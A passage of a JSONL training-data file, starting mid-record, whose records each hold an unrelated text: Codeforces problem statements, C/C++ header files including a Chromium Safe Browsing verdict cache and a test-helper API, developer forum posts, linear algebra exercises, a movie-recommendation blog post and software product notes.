"cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Alice is visiting New York City. To make the trip fun, Alice will take photos of the city skyline and give the set of photos as a present to Bob. However, she wants to find the set of photos with maximum beauty and she needs your help.\n\nThere are $$$n$$$ buildings in the city, the $$$i$$$-th of them has positive height $$$h_i$$$. All $$$n$$$ building heights in the city are different. In addition, each building has a beauty value $$$b_i$$$. Note that beauty can be positive or negative, as there are ugly buildings in the city too.\n\nA set of photos consists of one or more photos of the buildings in the skyline. Each photo includes one or more buildings in the skyline that form a contiguous segment of indices. Each building needs to be in exactly one photo. This means that if a building does not appear in any photo, or if a building appears in more than one photo, the set of pictures is not valid.\n\nThe beauty of a photo is equivalent to the beauty $$$b_i$$$ of the shortest building in it. The total beauty of a set of photos is the sum of the beauty of all photos in it. Help Alice to find the maximum beauty a valid set of photos can have.", "source": "cpt_codeforces", "language": "en", "token_count": 259, "token_count_with_eod": 260, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "// -*- C++ -*- \t$Id: DominantColor.h,v 1.6 2010/08/17 11:25:45 vvi Exp $\n/**\n   \\file DominantColor.h\n\n   \\brief Declarations and definitions of class DominantColor\n   \n   DominantColor.h contains declarations and definitions of class the DominantColor, which\n   is a class that performs sobel edge histogram extraction.\n  \n   \\author Jorma Laaksonen <jorma.laaksonen@hut.fi>\n   $Revision: 1.6 $\n   $Date: 2010/08/17 11:25:45 $\n   \\bug May be some out there hiding.\n   \\warning Be warned against all odds!\n   \\todo So many things, so little time...\n*/\n#ifndef _DominantColor_\n#define _DominantColor_\n\n#include \"PseudoMPEG7.h\"\n#include <algorithm>\n\nnamespace picsom {\n\nclass DominantColor : public PseudoMPEG7 {\n\n public:\n\n  /** Constructor\n      \\param img initialise to this image\n      \\param opt list of options to initialise to\n  */\n  DominantColor(const string& img = \"\", const list<string>& opt = (list<string>)0) {\n    Initialize(img, \"\", NULL, opt);\n  }\n\n  /** Constructor\n      \\param img initialise to this image\n      \\param seg initialise with this segmentation\n      \\param opt list of options to initialise to\n  */\n  DominantColor(const string& img, const string& seg,\n\t      const list<string>& opt = (list<string>)0) {\n    Initialize(img, seg, NULL, opt);\n  }\n\n \n  /// This constructor doesn't add an entry in the methods list.\n  DominantColor(bool) : PseudoMPEG7(false) {}\n\n  // ~DominantColor();\n\n  virtual Feature *Create(const string& s) const {\n    return (new DominantColor())->SetModel(s);\n  }\n\n \n  // copied from PixelBased\n\n  virtual string Name()          const { return \"dominantcolor\"; }\n\n  virtual string LongName()      const { return \"Dominant Color\"; }\n\n  virtual string ShortText()     const {\n    return \"CIE Luv coordinates of two dominant color clusters*\"; }\n\n  // NB According to MPEG-7 standard, ought to use CIE Lab space\n  // This erraneous behaviour was decided to be kept unchanged \n  // to avoid a change in feature vector semantics\n\n\n  virtual Feature *Initialize(const string& img, const string& seg,\n\t\t      segmentfile *s, const list<string>& opt,\n\t\t      bool allocate_data=true);\n\n  virtual string Version() const;\n\n  virtual featureVector getRandomFeatureVector() const{\n    return vector<float>(6);\n  }\n\n  virtual int printMethodOptions(ostream&) const;\n\n  virtual bool ProcessOptionsAndRemove(list<string>&); \n\nprotected:\n\n  virtual featureVector CalculateMask(char *mask);\n\n  vector<featureVector > \n  GLA(vector<Feature::featureVector> &data,\n      int initBins, int finalBins);\n\n  vector<featureVector > \n  GLAApproximate(vector<Feature::featureVector> &data,\n\t\t int initBins, int finalBins,int samplecount);\n    \n  void update_centers(vector<featureVector> &data, vector<int> &labels, \n\t\t      vector<featureVector> &centers, int number_of_means);\n  \n  int update_labels(vector<featureVector> &data, vector<int> &labels, \n\t\t    vector<featureVector> &centers, int number_of_means);\n\n  featureVector \n  determinePerturbation(vector<featureVector> &data,\n\t\t\tvector<int> &labels,int bin);\n\n  float totalDistortion(vector<featureVector> &data,\n\t\t\t\t      vector<int> &labels,\n\t\t\t\t      vector<featureVector> &bins);\n\n\n  int findMaxDistortion(vector<featureVector> &data,\n\t\t\tvector<int> &labels,\n\t\t\tvector<featureVector> &bins);\n\n\n};\n\n}\n#endif\n\n// Local Variables:\n// mode: font-lock\n// End:", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "/**\n * @file system_helper.h\n * @author Rastislav Szabo <raszabo@cisco.com>, Lukas Macko <lmacko@cisco.com>,\n *         Milan Lenco <milan.lenco@pantheon.tech>\n * @brief API of helper functions for interaction with the underlying system \n *        for testing purposes.\n *\n * @copyright\n * Copyright 2016 Cisco Systems, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *    http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n#ifndef SYSTEM_HELPER_H\n#define SYSTEM_HELPER_H\n\n#include <sys/types.h>\n#include <stdbool.h>\n\n/**\n * @brief A custom implementation of ::popen that hopefully doesn't\n * suffer from this glibc bug: https://bugzilla.redhat.com/show_bug.cgi?id=1275384.\n * It also enables to communicate with the process through stdin, stdout, stderr.\n */\npid_t sr_popen(const char *command, int *stdin_p, int *stdout_p, int *stderr_p);\n\n/**\n * @brief Print current backtrace to stderr.\n */\nvoid print_backtrace();\n\n/**\n * @brief Assert that the given pointer is non-NULL.\n * In case of failed assertion, print current backtrace to stderr.\n */\nvoid assert_non_null_bt(void *arg);\n\n/**\n * @brief Assert that the given pointer is NULL.\n * In case of failed assertion, print current backtrace to stderr.\n */\nvoid assert_null_bt(void *arg);\n\n/**\n * @brief Assert that the given argument is true.\n * In case of failed assertion, print current backtrace to stderr.\n */\nvoid assert_true_bt(bool arg);\n\n/**\n * @brief Assert that the given argument is false.\n * In case of failed assertion, print current backtrace to stderr.\n */\nvoid assert_false_bt(bool arg);\n\n/**\n * @brief Assert that the two given strings are equal.\n * In case of failed assertion, print current backtrace to stderr.\n */\nvoid assert_string_equal_bt(const char *a, const char *b);\n\n/**\n * @brief Assert that the two given integers are equal.\n * In case of failed assertion, print current backtrace to stderr.\n */\nvoid assert_int_equal_bt(int a, int b);\n\n/**\n * @brief Assert that the two given integers are not equal.\n * In case of failed assertion, print current backtrace to stderr.\n */\nvoid assert_int_not_equal_bt(int a, int b);\n\n/**\n * @brief Reads an entire line from a file, storing the address of the buffer\n * containing the text into *line_p. The buffer is null-terminated and includes\n * the newline character, if one was found.\n * Same like ::getline but uses file descriptor. Furthermore, ::getline was standardized\n * still quite recently and may not exist on many systems.\n */\nsize_t readline(int fd, char **line_p, size_t *len_p);\n\n/**\n * @brief Tests file (non)existence.\n */\nvoid test_file_exists(const char *path, bool exists);\n\n/**\n * @brief Tests file owner.\n */\nvoid test_file_owner(const char *path, const char *owner);\n\n/*\n * @brief Tests file permissions.\n */\nvoid test_file_permissions(const char *path, mode_t permissions);\n\n/**\n * @brief Tests file content against the given string / regular expression.\n * Prepend the string with exclamation mark to test that the file\n * content does NOT match the supplied string/pattern.\n */\nvoid test_file_content(const char *path, const char *exp_content, bool regex);\n\n/**\n * @brief Compares contents of two files using strcmp().\n */\nint compare_files(const char *path1, const char *path2);\n\n/**\n * @brief Executes shell command, tests return value and compares output \n * against the given string / regular expression.\n */\nvoid exec_shell_command(const char *cmd, const char *exp_out, bool regex, int exp_ret);\n\n#endif /* SYSTEM_HELPER_H */", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "I had a publication almost ready to go, worked great and uploaded on the cloud. I then updated the tools, builder on mac and viewer on iPad with all latest updates (including the Jan 26 update and Jan 17 Folio tools etc) and all MSOs and buttons I had started 'misbehaving'. I re-uploaded everything on cloud again and I get these errors:\n- Some buttons became 'untappable' (they work fine on the desktop viewer)\n- I have pop up MSO box with text which is triggered by a button - text wont show on iPad but it shows on desktop viewer correctly. If I outline it, it shows on iPad too\n- With previous viewer, the video would come up in front of any object when played, including MSOs. Now it seems that you have to put the video in front and cover all your 'play' buttons etc.\nCan you tell me if these were planned changes on the workflow or just a mistake on the iPad viewer and planning to be fixed?\nTony, I see this is your first post.\nPLEASE read the other threads posted recently. In short, there is a (IMO) very serious bug in the Content Viewer on the iPad.\nIf you haven't used any new features in the new tools you can roll back to version 17.\nFYI I wanted to add couple of other issues in relation to MSOs.\n1. I'm creating a simple MSO that is triggered by a button, and it only has two states, one is blank and the other is with a 'popup' box. If the box has a text box that uses 2 coulms or tables the MSO doesnt work. If I make two separate linked-flowing text boxes it works just fine. It seems that there are issues with how the 'textbox' is formatted.\n2. Always when i download (update) an app on the viewer on iPad and tap to view it the viewer quits and have to re-launch it again", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 412, "token_count_with_eod": 413, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "There exists an island called Arpa’s land, some beautiful girls live there, as ugly ones do.\n\nMehrdad wants to become minister of Arpa’s land. Arpa has prepared an exam. Exam has only one question, given n, print the last digit of 1378n.\n\nMehrdad has become quite confused and wants you to help him. Please help, although it's a naive cheat.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "1. Diagonal matrices\nA matrix A is a diagonal matrix if it is a square matrix with Aij=0 whenever i≠j.\n- Prove or disprove: If A and B are diagonal matrices of the same size, so is AB.\nLet p(A)=Πi Aii. Prove or disprove: If A and B are diagonal matrices as above, then p(AB) = p(A)p(B).\nWe need to show that (AB)ij=0 for i≠j (we don't care what happens when i=j). Let i≠j, and compute (AB)ij = ∑k AikBkj = AiiBij + AijBjj = 0, where the first simplification uses the fact that Aik=0 unless i=k (and similarly for Bkj), and the second uses the assumption that i≠j.\nNow we care what happens to (AB)ii. Compute (AB)ii = ∑k AikBki = AiiBii. So p(AB) = Πi (AB)ii = ∏i (AiiBii) = (∏i Aii)(Πi Bii) = p(A)p(B).\n2. Matrix square roots\n- Show that there exists a matrix A such that A≠0 but A²=0.\n- Show that if A²=0, there exists a matrix B such that B²=I+A. Hint: What is (I+A)²?\nHere is a simple example of a nonzero matrix whose square is 0:\nFor the second part, the hint suggests looking at (I+A)² = I² + IA + AI + A² = I + 2A (since IA=AI=A and it is given that A²=0). So I+A is almost right, but there is that annoying 2 there. We can get rid of the 2 by setting B instead to I+½A, which gives B² = (I+½A)² = I+A+¼A² = I+A.\n3. Dimension reduction\nLet A be an n×m random matrix obtained by setting each entry Aij independently to ±1 with equal probability.\nLet x be an arbitrary vector of dimension m.\nCompute E[||Ax||²], as a function of ||x||, n, and m, where ||x|| = (x⋅x)1/2 is the usual Euclidean length.\nMostly this is just expanding definitions.\nThe second-to-last step follows because E[AijAik] = 0 when Aij and Aik are independent (i.e., when j≠k) and E[AijAij] = E[(±1)²) = 1.\n4. Non-invertible matrices\nLet A be a square matrix.\nProve that if Ax=0 for some column vector x≠0, then A-1 does not exist.\nProve that if the columns of A are not linearly independent, then A-1 does not exist.\nProve that if the rows of A are not linearly independent, then A-1 does not exit.\nSuppose A-1 exists and that Ax=0 for some nonzero x. Then x = (A-1A)x = A-1(Ax) = A-10 = 0, a contradiction.\nLet A⋅i represent the i-th column of A. If the columns of a are not linearly independent, there exist coefficients xi, not all zero, such that ∑ xiA⋅i = 0. But then Ax = ∑ xiA⋅i = 0, where x is the (nonzero) vector of these coefficients. It follows from the previous case that A is not invertible.\nObserve that if A has an inverse, then so does its transpose A', since if A-1 exists we have (A-1)'A' = (AA-1)' = I and A'(A-1)' = (A-1A)' = I. If the rows of A are not linearly independent, then neither are the columns of A'; it follows that A' has no inverse, and thus neither does A.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Ports using Python via USES=python are now flavored. All the py3-* ports\nhave been removed and folded into their py-* master ports.\nPeople using Poudriere 3.2+ and binary packages do not have to do anything.\nFor other people, to build the Python 3.6 version of, for example,\ndatabases/py-gdbm, you need to run:\n# make FLAVOR=py36 install\nNumber of commits found: 77\nCommit History - (may be incomplete: see SVNWeb link above for full details)\ngraphics/py-pillow: Update to 7.0.0\n* Repo-Copy the Pillow 6.2.2 release to graphics/py-pillow6 to retain\nbackwards compatibility for Python 2 consumers as the Pillow 7.0.0 release\ndropped the support for Python 2.\n* Apply conditional statements to use either Pillow 7.x or Pillow 6.x for\nconsumers that can be built for Python 2 or newer.\n* Exceptions are ports that can be built only for either Python 2 or\nPython 3. For the first case, consumers are just assigned to the\n* Also remove Pillow from BUILD_DEPENDS of math/py-PyWavelets as it is not\nlisted in setup.py as a build dependency  and relax the version\n(Only the first 15 lines of the commit message are shown above )", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 301, "token_count_with_eod": 302, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Join GitHub today\nGitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.Sign up\nEntirely delete a widget which was added but not previously saved? #49\nRight now, if you remove a widget it will get moved to the Inactive Widgets “sidebar”. This also goes for widgets that you add but don't ever publish, like if you add a widget to a sidebar and then immediately remove it. This will probably result in the Inactive Widgets sidebar getting filled up with a lot of fragmented widgets which the user would not expect to be saved in the trash, since they were never properly saved to begin with.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Amazon seems to think I'll like \"What To Expect When You're Expecting\", Netflix suggests I watch \"The X Files\", but neither is likely to appeal to me. In spite of letting Amazon know what movies I own, and in spite of having rated over 1300 movies on Netflix, both of their recommendation engines have a miserable success rate.\nThey're not alone. Every time I hear about a new movie recommendation website I go and try it out, and invariably I'm presented with a list of movies that suits me no better than a random selection.\nThe problem with Amazon and Netflix is that their recommendations are based on what other people like. If I liked \"Gosford Park\" then they assume I'll like every other movie favored by other people who liked \"Gosford Park\". That's just plain silly. My wife likes a lot of the same movies I do, but there are a significant number of them we disagree on - sometimes strongly. Statistical analysis of the preferences of huge numbers of people can help a bit, but then you only get presented with the popular movies - and if your tastes don't tend towards what the majority likes, you're screwed.\nThere are a couple of recommendation engines out there that try to improve on this by evaluating movies based on objective criteria, and then match those criteria to the individual based on a survey and rated movies - Jinni is a good example of this sort. It was released with much fanfare and sounded like the movie equivalent to Pandora. I tried it out, spending a couple of hours rating movies only to have it routinely recommend movies I've seen and hated.\nWhat went wrong?\nWhile I do tend to prefer certain kinds of films (action, sci-fi, fantasy) over others (horror, romance), the genre (along with the other objective criteria that Jinni uses) aren't good predictors for whether I'll like a movie. There are a lot of movies that would seem to be a match for me that I absolutely despise, and an equal number (or more) which don't match that I love.\nThe odd thing is that many years back, when I was still renting movies from a video store, I routinely got recommendations with a phenomenal hit rate. These suggestions came from an unlikely source - one of the video store employees, now fondly remembered as \"The Guy\".\nIn some ways, The Guy was kind of scary. He'd seen almost every single movie in the store and remembered them all. That's not the scary part. He also remembered the major and minor actors and actresses in each film and the kind of roles they played in the story. That's not the scary part either. The scary part is that he also remembered the director, producer and cinematographer, and could come up with a list of other films that any of them had ever worked on, sorted into phases that each of them seemed to be going through in that stage of their life's work. The Guy seemed to have all of the IMDB inside his head cross indexed with every movie critic ever.\nIf you were standing and staring at the shelves long enough, The Guy would walk up and ask you what sort of film you were interested in. You'd answer with a genre or a movie you liked and he'd instantaneously dissect it into component parts and then recommend something based upon these parts.\nHe never recommended a movie to me that I didn't like.\nLater I realized that this feat that is so incredible in a human being would actually be quite easy for a computer program. All that's needed is a reasonably complete database of movies - and, what do you know, there is one. IMDB has all sorts of data on movies. I thought about the algorithm a bit and then wrote a simple program to try it out.\nThe program takes as its input a movie the user likes. It then gets a list of every single person who worked on the film - I ignored jobs like gaffer and dolly grip, and stuck to those like actor, director, and writer. Since the user likes the movie, all of those people get a +1.\nThe program then got a list of every film each of these people worked on, and gave those films in turn a +1. Note that if the film had two people in common with the liked film, it would receive the bonus from each of them.\nWhen any of these films is rated, all the people involved have their rating changed accordingly, +1 for liked and -1 for disliked. The list of films is recalculated and re-presented.\nThe result is a list of recommendations that actually seems to fit reality. Actors, directors, and writers don't restrict themselves to a single genre or movie style, but they're likely to work on projects that suit their own particular preferences. This means that if I like a Nicholas Cage film I'm liable to like another one of his films, even if it's not in a genre I usually watch.\nJust Do It\nThe program worked incredibly well. IMDB has all the data right there. If I can cobble together a passable version of this system using php then they could have a full-blown user friendly version in a heartbeat (with an iPhone app and all). They could license the engine to Amazon and Netflix too.\nI could do it, but that would require working out a deal for access to the data, and developing APIs and the like, and I'm just not that type of programmer.\nThough if I did develop it I'd put a nice, simple pseudo-AI interface on it and call it \"The Guy\".\nFriday, September 28, 2012\nWednesday, September 12, 2012\nPandoracon 2012 – September 28-30\nPandoracon is a new convention and it's local to me, so when I heard they were looking for programming I figured it was worth a try. I'm currently signed up to run the following panels, though I may end up being involved in more.I usually enjoy smaller conventions more - everything is more relaxed and there's much more chance of actually being able to talk with the guests of honor.\nFantasy games and novels are commonly set in a society based on medieval Europe. Learn how medieval English and French cuisine worked as a system. Topics will include medieval ingredients and preparation methods, the structure of medieval feasts, finding medieval recipes (or making them up), and common myths about medieval foods\n09/29/2012, 5:00 PM\nWorld Design - Food\nRealistic food can add depth to a story, and can also reveal aspects about the climate and culture of a people. Learn how to create food and foodways that are exotic but still believable.\n09/29/2012, 10:00 PM\nWorld Design - Language\nPanelists will discuss methods that authors and game designers use for creating believable fictional languages.\n09/30/2012, 12:00 PM\nWorld Design - GeographyThat's a lot in just two days, though I'm really looking forward to it. We'll see how it goes.\nThe physical world influences a society’s development. Learn how to let the environment shape your fictional culture.\n09/30/2012, 2:00 PM", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1525, "token_count_with_eod": 1526, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "// Copyright 2019 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef COMPONENTS_SAFE_BROWSING_CORE_VERDICT_CACHE_MANAGER_H_\n#define COMPONENTS_SAFE_BROWSING_CORE_VERDICT_CACHE_MANAGER_H_\n\n#include \"base/gtest_prod_util.h\"\n#include \"base/memory/scoped_refptr.h\"\n#include \"base/memory/weak_ptr.h\"\n#include \"base/scoped_observer.h\"\n#include \"base/time/time.h\"\n#include \"base/values.h\"\n#include \"components/content_settings/core/browser/host_content_settings_map.h\"\n#include \"components/history/core/browser/history_service.h\"\n#include \"components/history/core/browser/history_service_observer.h\"\n#include \"components/keyed_service/core/keyed_service.h\"\n#include \"components/safe_browsing/core/proto/csd.pb.h\"\n#include \"components/safe_browsing/core/proto/realtimeapi.pb.h\"\n#include \"url/gurl.h\"\n\nclass HostContentSettingsMap;\n\nnamespace safe_browsing {\n\nusing ReusedPasswordAccountType =\n    LoginReputationClientRequest::PasswordReuseEvent::ReusedPasswordAccountType;\n\n// Structure: http://screen/YaNfDRYrcnk.png.\nclass VerdictCacheManager : public history::HistoryServiceObserver,\n                            public KeyedService {\n public:\n  explicit VerdictCacheManager(\n      history::HistoryService* history_service,\n      scoped_refptr<HostContentSettingsMap> content_settings);\n  VerdictCacheManager(const VerdictCacheManager&) = delete;\n  VerdictCacheManager& operator=(const VerdictCacheManager&) = delete;\n  VerdictCacheManager(VerdictCacheManager&&) = delete;\n  VerdictCacheManager& operator=(const VerdictCacheManager&&) = delete;\n\n  ~VerdictCacheManager() override;\n\n  base::WeakPtr<VerdictCacheManager> GetWeakPtr() {\n    return weak_factory_.GetWeakPtr();\n  }\n\n  // KeyedService:\n  // Called before the actual deletion of the object.\n  void Shutdown() override;\n\n  // Stores |verdict| in |content_settings_| based on its |trigger_type|, |url|,\n  // reused |password_type|, |verdict| and |receive_time|.\n  void CachePhishGuardVerdict(\n      LoginReputationClientRequest::TriggerType trigger_type,\n      ReusedPasswordAccountType password_type,\n      const LoginReputationClientResponse& verdict,\n      const base::Time& receive_time);\n\n  // Looks up |content_settings_| to find the cached verdict response. If\n  // verdict is not available or is expired, return VERDICT_TYPE_UNSPECIFIED.\n  // Can be called on any thread.\n  LoginReputationClientResponse::VerdictType GetCachedPhishGuardVerdict(\n      const GURL& url,\n      LoginReputationClientRequest::TriggerType trigger_type,\n      ReusedPasswordAccountType password_type,\n      LoginReputationClientResponse* out_response);\n\n  // Gets the total number of verdicts of the specified |trigger_type| we cached\n  // for this profile. This counts both expired and active verdicts.\n  size_t GetStoredPhishGuardVerdictCount(\n      LoginReputationClientRequest::TriggerType trigger_type);\n\n  // Stores |verdict| in |content_settings_| based on its |url|, |verdict| and\n  // |receive_time|.\n  // |store_old_cache| is used for compatibility test. It is set to true only\n  // when we need to store an old cache for testing.\n  // TODO(crbug.com/1049376): |store_old_cache| should be removed once\n  // |cache_expression| field is deprecated.\n  void CacheRealTimeUrlVerdict(const GURL& url,\n                               const RTLookupResponse& verdict,\n                               const base::Time& receive_time,\n                               bool store_old_cache);\n\n  // Looks up |content_settings_| to find the cached verdict response. If\n  // verdict is not available or is expired, return VERDICT_TYPE_UNSPECIFIED.\n  // Otherwise, the most matching theat info will be copied to out_threat_info.\n  // Can be called on any thread.\n  RTLookupResponse::ThreatInfo::VerdictType GetCachedRealTimeUrlVerdict(\n      const GURL& url,\n      RTLookupResponse::ThreatInfo* out_threat_info);\n\n  // Overridden from history::HistoryServiceObserver.\n  void OnURLsDeleted(history::HistoryService* history_service,\n                     const history::DeletionInfo& deletion_info) override;\n\n  void HistoryServiceBeingDeleted(\n      history::HistoryService* history_service) override;\n\n private:\n  FRIEND_TEST_ALL_PREFIXES(VerdictCacheManagerTest, TestCleanUpExpiredVerdict);\n  FRIEND_TEST_ALL_PREFIXES(VerdictCacheManagerTest,\n                           TestCleanUpExpiredVerdictWithInvalidEntry);\n  FRIEND_TEST_ALL_PREFIXES(VerdictCacheManagerTest,\n                           TestRemoveCachedVerdictOnURLsDeleted);\n  FRIEND_TEST_ALL_PREFIXES(\n      VerdictCacheManagerTest,\n      TestRemoveRealTimeUrlCheckCachedVerdictOnURLsDeleted);\n\n  // Removes all the expired verdicts from cache.\n  void CleanUpExpiredVerdicts();\n  void CleanUpExpiredPhishGuardVerdicts();\n  void CleanUpExpiredRealTimeUrlCheckVerdicts();\n\n  // Helper method to remove content settings when URLs are deleted. If\n  // |all_history| is true, removes all cached verdicts. Otherwise it removes\n  // all verdicts associated with the deleted URLs in |deleted_rows|.\n  void RemoveContentSettingsOnURLsDeleted(bool all_history,\n                                          const history::URLRows& deleted_rows);\n  bool RemoveExpiredPhishGuardVerdicts(\n      LoginReputationClientRequest::TriggerType trigger_type,\n      base::DictionaryValue* cache_dictionary);\n  bool RemoveExpiredRealTimeUrlCheckVerdicts(\n      base::DictionaryValue* cache_dictionary);\n\n  size_t GetPhishGuardVerdictCountForURL(\n      const GURL& url,\n      LoginReputationClientRequest::TriggerType trigger_type);\n  // This method is only used for testing.\n  size_t GetRealTimeUrlCheckVerdictCountForURL(const GURL& url);\n\n  // This method is only used for testing and logging metrics.\n  int stored_verdict_count_real_time_url_check() {\n    return stored_verdict_count_real_time_url_check_;\n  }\n\n  // Number of verdict stored for this profile for password on focus pings.\n  base::Optional<size_t> stored_verdict_count_password_on_focus_;\n\n  // Number of verdict stored for this profile for protected password entry\n  // pings.\n  base::Optional<size_t> stored_verdict_count_password_entry_;\n\n  // Number of verdict stored for this profile for real time url check pings.\n  // This is only used for testing and logging metrics.\n  int stored_verdict_count_real_time_url_check_ = 0;\n\n  ScopedObserver<history::HistoryService, history::HistoryServiceObserver>\n      history_service_observer_{this};\n\n  // Content settings maps associated with this instance.\n  scoped_refptr<HostContentSettingsMap> content_settings_;\n\n  base::WeakPtrFactory<VerdictCacheManager> weak_factory_{this};\n};\n\n}  // namespace safe_browsing\n\n#endif  // COMPONENTS_SAFE_BROWSING_CORE_VERDICT_CACHE_MANAGER_H_", "source": "cpt_stack_code", "language": "code", "token_count": 1641, "token_count_with_eod": 1642, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Last post Nov 18, 2016 07:36 AM by Chris Zhao\nNov 16, 2016 10:22 PM|jamesjosephpt|LINK\nI have ran into an issue while using a VC++ project reference in my aspnetcore Webapplication solution(.net Framework).Let me explain the issue.\n1.Created a new aspnetcore webapplication.\n2.Added a VC++ project (CLR-->ClassLibrary)\n3.Added a C# Class Library project and aded VC++ project reference in the References of C#ClassLibrary.\n4.Call the method in C#Classlibrary in the Main Project which in turn return a value from VC++ ClassLibrary\nThe solution builds with out any error ,but at run time I Get the error-\"Additional information: Could not load file or assembly 'CppClassLibrary, Version=1.0.6164.19946, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made\nto load a program with an incorrect format.\"\nPS. I have set my build Platform as AnyCPU for the main Project and C#LibraryProject, and for VC++ Class library it is Win32 which are all by default.\nMy machine is Windows 7 64 bit.\nSomeone please let me know how this scenario can be worked out.I We cannot get rid of VC++ references as it would be high impact change in our application suite.\nA quick help is much appreciated.\nThanks In Advance,\nNov 18, 2016 07:36 AM|Chris Zhao|LINK\nYou're having a 32-bit / 64-bit conflict.\nOn a 64-bit Windows operating system:\nYou could ger more information about the Prefer 32-bit and Any CPU from the following documents:\nWhat is the purpose of the “Prefer 32-bit” setting in Visual Studio 2012 and how does it actually work?\nWhat AnyCPU Really Means As Of .NET 4.5 and Visual Studio 11", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 453, "token_count_with_eod": 454, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#ifndef VEHICLE_H_\n#define VEHICLE_H_\n\n#include <iostream>\n#include \"Machine.h\"\n\nclass Vehicle: public Machine\n{\npublic:\n    Vehicle();\n    Vehicle(int id);\n    ~Vehicle();\n\nprivate:\n    std::string name;\n    \n};\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 63, "token_count_with_eod": 64, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "ID ranges can show IDs in the billions when you run eSync after creating new content, menus, taxonomies, users, and so on.\neSync causes these large numbers to appear.\nWhile the IDs may look a bit alarming, these large numbers are normal for sites that use eSync.\nEach server that is in the eSync relationship gets its own set of IDs. The original server should contain low ID numbers, but any server with which it syncs will have IDs that start in the millions or billions.\nThe numbers are created to allow 2 databases to synchronize and to prevent duplicate ID numbers from being created, which would cause further errors and issues. You cannot alter or update these numbers.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 144, "token_count_with_eod": 145, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Well the day has finally come: Apple’s release of 10.4. There are tons of new feautures I am excited to check out but none more than the added .mac sync functionality. To be able to have all my mail rules available on all my computers…I have been waiting for this since .mac came out.\nFor a full list of all the new features: http://www.apple.com/macosx/newfeatures/over200.html.\nHappy Birthday D!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 101, "token_count_with_eod": 102, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is an interactive problem.\n\nIgor wants to find the key to Olha's heart. The problem is, that it's at the root of a binary tree.\n\nThere is a perfect binary tree of height $$$h$$$ consisting of $$$n = 2^{h} - 1$$$ nodes. The nodes have been assigned distinct labels from $$$1$$$ to $$$n$$$. However, Igor only knows $$$h$$$ and does not know which label corresponds to which node.\n\nTo find key to Olha's heart he needs to find the label assigned to the root by making queries of the following type at most $$$n+420$$$ times:\n\n- Select three distinct labels $$$u$$$, $$$v$$$ and $$$w$$$ ($$$1 \\leq u,v,w \\leq n$$$).\n- In response, Olha (the grader) will tell him the label of the lowest common ancestor of nodes labelled $$$u$$$ and $$$v$$$, if the tree was rooted at the node labelled $$$w$$$ instead.\n\nHelp Igor to find the root!\n\nNote: the grader is not adaptive: the labels are fixed before any queries are made.", "source": "cpt_codeforces", "language": "en", "token_count": 242, "token_count_with_eod": 243, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "- A New Look for Files.com\n- New Integrated Editor for Office Documents\n- Announcing Snapshot Share Links\n- Akamai Linode integration with Files.com\n- Cloudflare integration with Files.com\n- Files.com's Response to the Security Incident in Competing Software Product MOVEit\n- Removal of CBC cipher suites from the default list\n- Announcing Boomi Partner Connector\n- FIDO U2F SSH/SFTP Keys Now Supported For SFTP Authentication\n- Ensuring Accessibility: How Files.com Meets WCAG Standards\nZapier is an \"integration tool\" that allows you to link hundreds of apps without having to write any code.\nWant Twitter to IM you when a new file is added to your BrickFTP account?\nWant Basecamp to add a new todo list whenever a folder is created inside of another folder?\nWhat about Hipchat notifications for new users or groups?\nZapier integrates with Salesforce, Google Docs, Dropbox, Twilio, Mailchimp, Evernote, Asana, Wufoo, Wordpress, Slack, Github, Infusionsoft, Basecamp, Highrise, Xero, and literally hundreds of other popular SaaS services.\nNow you can integrate anything with BrickFTP via drag-and-drop.\nGet Instant Access to Files.com\nThe button below will take you to our Free Trial signup page. Click on the white \"Start My Free Trial\" button, then fill out the short form on the next page. Your account will be activated instantly. You can dive in and start yourself or let us help. The choice is yours.Start My Free Trial", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
